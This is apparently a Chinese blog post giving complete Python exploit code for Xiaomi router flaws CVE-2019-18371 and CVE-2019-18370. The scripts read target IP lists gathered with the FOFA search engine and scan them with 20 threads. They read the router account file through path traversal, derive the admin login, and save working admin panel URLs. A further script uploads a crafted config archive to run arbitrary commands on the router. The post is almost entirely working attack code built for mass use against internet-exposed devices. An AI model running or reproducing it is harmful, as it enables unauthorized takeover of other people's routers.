小米路由器-CVE-2019-18370

结合fofa搜索引擎批量测试小米路由器-CVE-2019-18370漏洞

摘要

小米系列路由器远程命令执行漏洞(CVE-2019-18370,CVE-2019-18371)

漏洞发现时间:2019-03-09

在小米系列路由器(最新版开发版/稳定版)中存在漏洞,可以实现无需登录,任意远程命令执行。

具体详情:

https://github.com/UltramanGaia/Xiaomi_Mi_WiFi_R3G_Vulnerability_POC/blob/master/report/report.md

具体代码

# main.py

import os
import re

import base64
import random
import config

import requests
import time
from concurrent.futures import ThreadPoolExecutor


def attempt(ip):
    """
    从文件读取ip,检测是否存在漏洞,运行一次即可
    """
    badeUrl = f"{ip}/api-third-party/download/extdisks../etc/config/account"

    head = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36'
    }
    requests.packages.urllib3.disable_warnings()  # 排除警告
    try:
        resp = requests.get(url=badeUrl, headers=head, proxies=config.proxy, verify=False,timeout=5)
    except Exception as e:
        print(f"{ip}不可用")
        config.sumError = config.sumError+1
    else:
        if resp.status_code == 404:
            print(f"{ip}不存在CVE-2019-18371(任意文件读取)")
            config.sumNull = config.sumNull + 1
        if resp.status_code == 200:
            config.sumSucced =config.sumSucced+1
            print(f"{ip}存在CVE-2019-18371(任意文件读取)")
            config.fileSucced(ip,config.succed)

def thread_pool(target,ip1):
    """
    线程
    """
    with ThreadPoolExecutor(max_workers=20, thread_name_prefix="线程") as pool:
        start = time.time()
        for i in ip1:
            i = i.replace('\n', '')
            pool.submit(target, ip=i)
    end = time.time()
    print(f"共请求失败{config.sumError}次")
    print(f"不存在该漏洞:{config.sumNull}次")
    print(f"共请求成功{config.sumSucced}次")
    print(f'总耗时: {end - start:.3f}秒.')

def login(ip):
    """
    登录后台
    """
    config.sumError =0
    config.sumNull=0
    config.succed=0
    head ={
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0",
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
    #获得mac
    mac = config.get_mac(ip)
    # print(mac)
    #获得accout值
    account_str = config.get_account_str(ip)
    ## login, get stok
    #生成nonce

    nonce = config.create_nonce(mac)
    # print(nonce)
    password = config.calc_password(nonce, account_str)
    data = "username=admin&password={password}&logtype=2&nonce={nonce}".format(password=password, nonce=nonce)

    try:
        r2 = requests.post(f"{ip}/cgi-bin/luci/api/xqsystem/login",
                       data=data,
                       headers=head,
                       proxies=config.proxies,timeout=5)
    except Exception as e:
        print(f"{ip}出错")
        config.sumError = config.sumError +1
    else:
        url = re.findall(r'"url":"(.*?)"', r2.text)[0]
        url1 = ip+url
        try:
            r3 = requests.get(url=url1,headers=head,timeout=3)
        except Exception as e:
            print(r2.text)
            print(f"{url1}出错")
            config.sumError = config.sumError + 1
        else:
            if r3.status_code == 200:
                print(f"访问链接:{url1}")
                config.fileSucced(url1,config.succedLogin)
                config.sumSucced = config.sumSucced +1
            else:
                print(f"服务器错误链接:{url1}状态码:{r3.status_code}")
                config.sumError = config.sumError + 1


def Command():
    """
    命令执行
    """
def main():
    print("小米路由CVE-2019远程后台登录")


    sign = int(input("如果你想检测目标ip列表文件是否存在漏洞请输入1,如果你想检测目标ip列表是否可以登录后台请输入2,退出输入3:"))
    if sign==1:
        config.file = input("请输入读取目标ip列表文件默认文件(../Fofa_spire/HK.txt):")
        config.succed = input("输入检测成功ip保存的文件默认(succed.txt):")
        thread_pool(attempt,config.ipRead(config.file))
        sign2 =input("请输入是否想继续,检测能否登录后台(y/n):")
        if sign2=='y':
            config.succedLogin = input("输入登录成功保存的文件默认为(succedLine.txt):")
            thread_pool(login, config.ipRead(config.succed))
        elif sign2=='n':
            return
    elif sign ==2:
        config.succed = input("输入要检测的文件默认(succed.txt):")
        config.succedLogin = input("输入登录成功保存的文件默认为(succedLine.txt):")
        thread_pool(login,config.ipRead(config.succed))
    else:
        return



if __name__ == '__main__':
    main()
# 配置文件 config.py

import requests
import re
import time
import random
import hashlib


file ="../Fofa_spire/HK.txt"

succed = "succed2.txt"       #成功后保存的文件
succedLogin ="HK.txt"

proxies = {}

proxy = {}
sumError = 0
sumSucced =0
sumNull =0

def fileSucced(str,succed):
    """
    存在漏洞的链接写入文件
    """
    with open(succed,"a+") as f:
        f.write(f"{str}\n")



def ipRead(file):
    """
    返回爬取的ip
    """
    with open(file,"r") as f:
        lines = f.readlines()
        return lines


def get_mac(ip):
    ## get mac
    r0 = requests.get(f"{ip}/cgi-bin/luci/web", proxies=proxies,timeout=5)
    mac = re.findall(r'deviceId = \'(.*?)\'', r0.text)[0]
    # print(mac)
    return mac

def get_account_str(ip):
    ## read /etc/config/account
    r1 = requests.get(f"{ip}/api-third-party/download/extdisks../etc/config/account", proxies=proxies,timeout=5)
    # print(r1.text)
    account_str = re.findall(r'admin\'? \'(.*)\'', r1.text)[0]
    # print(account_str)
    return account_str

def create_nonce(mac):
    type_ = 0
    deviceId = mac
    time_ = int(time.time())
    rand = random.randint(0,10000)
    return "%d_%s_%d_%d"%(type_, deviceId, time_, rand)

def calc_password(nonce, account_str):
    m = hashlib.sha1()
    m.update((nonce + account_str).encode('utf-8'))
    return m.hexdigest()
#命令执行利用代码
import os
import tarfile
import requests


ip = input("输入ip地址(http://27.209.15.150:9090):")


# proxies = {"http":"http://127.0.0.1:8080"}
proxies = {}

## get stok
stok = input("stok: ")

## make config file
command = input("command: ")
speed_test_filename = "../../../../speedtest_urls.xml"
with open("template.xml", "rt") as f:
	template = f.read()
data = template.format(command=command)
# print(data)
with open("../../../../speedtest_urls.xml", 'wt') as f:
	f.write(data)

with tarfile.open("../../../../payload.tar.gz", "w:gz") as tar:
	# tar.add("cfg_backup.des")
	# tar.add("cfg_backup.mbu")
	tar.add("speedtest_urls.xml")

## upload config file
print("start uploading config file ...")
r1 = requests.post("{}/cgi-bin/luci/;stok={}/api/misystem/c_upload".format(ip,stok), files={"image":open(
	"../../../../payload.tar.gz", 'rb')}, proxies=proxies)
# print(r1.text)

## exec download speed test, exec command
print("start exec command...")
r2 = requests.get("{}/cgi-bin/luci/;stok={}/api/xqnetdetect/netspeed".format(ip,stok), proxies=proxies)
# print(r2.text)

## read result file
r3 = requests.get(f"{ip}/api-third-party/download/extdisks../tmp/1.txt", proxies=proxies)
if r3.status_code == 200:
	print("success, vul")
	print(r3.text)

命令执行代码,还需要speedtest_urls.xm和template.xml文件

posted @ 2022-04-27 17:42  戴好面具  阅读(852)  评论(0编辑  收藏  举报